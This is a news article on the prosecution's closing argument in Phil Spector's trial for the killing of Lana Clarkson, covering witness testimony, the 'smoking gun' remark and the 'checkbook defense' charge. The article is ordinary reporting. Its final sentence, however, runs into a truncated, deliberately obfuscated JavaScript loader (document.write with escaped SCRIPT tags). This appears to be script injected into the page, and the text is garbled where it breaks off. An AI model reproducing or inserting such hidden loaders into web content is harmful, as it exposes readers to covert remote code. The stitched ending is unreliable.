Phil Spector held gun after shooting

Spector held 'smoking gun' in hand, jurors told.

Phil Spector held a "smoking gun" in his hands moments after shooting actress Lana Clarkson and jurors knew in their "heart of hearts" he was guilty of murder, prosecutors said Wednesday.

In an impassioned closing statement at the end of Spector's five-month trial, district attorney Alan Jackson said the music legend was clearly guilty of murdering Clarkson at his castle-like home in February 2003.

Jackson recalled the testimony of five women who alleged Spector had threatened them with guns, arguing that Clarkson's death was the tragic culmination of years of violent behavior by the eccentric producer.

He also reminded the jury about the words of star witness Adriano De Souza, the driver who claimed Spector had emerged from his home shortly after the killing holding a gun to declare: "I think I killed somebody."

"He literally had the smoking gun in his hand," Jackson said.

Earlier, Jackson had begun his presentation by showing jurors a still image from a security camera taken outside the nightclub where Clarkson worked just hours before she was found shot dead at Spector's home.

The grainy footage showed Clarkson waiting with Spector as the couple prepared to return to the music producer's home.

"If you could say one thing to Lana Clarkson at that moment, as she waits in that car park, what would you say?" Jackson invited jurors to imagine.

"Five months ago you wouldn't have known what to say. But now you know who the real Phil Spector is, what he is, and what he does, you know what you'd say. You'd lean over to Lana and whisper 'Don't go!'

"And the reason you would do this is because you know something that Lana Clarkson didn't: you know who the real Phil Spector is. And you know in your heart of hearts that he is responsible for her death. He killed her."

Jackson told the nine-man, three-woman jury that even if the gun that killed Clarkson was discharged accidentally, they must convict Spector of second degree murder because had acted recklessly.

"Guns are dangerous," he said. "You don't point guns at anything you're unwilling to destroy."

Spector, 67, best known for creating the groundbreaking "Wall of Sound" recording technique, is regarded as one of the most influential figures in rock-pop music history.

Famed for his work with The Beatles, Tina Turner, The Righteous Brothers, The Ronettes and The Ramones, he faces 15 years to life in prison if convicted.

Final arguments will take place throughout Wednesday and Thursday before the jury begins its deliberations, probably on Friday.

Prosecutors allege that the reclusive Spector shot Clarkson in the head as she attempted to leave his mansion after meeting him for the first time.

Later in his closing argument, Jackson said Spector had waged a "checkbook defense," pouring scorn on the expert witnesses who had come forward to offer conflicting evidence to the prosecution team's findings.

"If you hire enough experts, you can get them to say anything you want," Jackson said. "You could get them to come into court wearing a tutu if you pay them enough.

Defense lawyers have said Clarkson, famous for her role in Roger Corman's 1985 cult classic "The Barbarian Queen" but whose career had stalled at the time of her death, killed herself.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22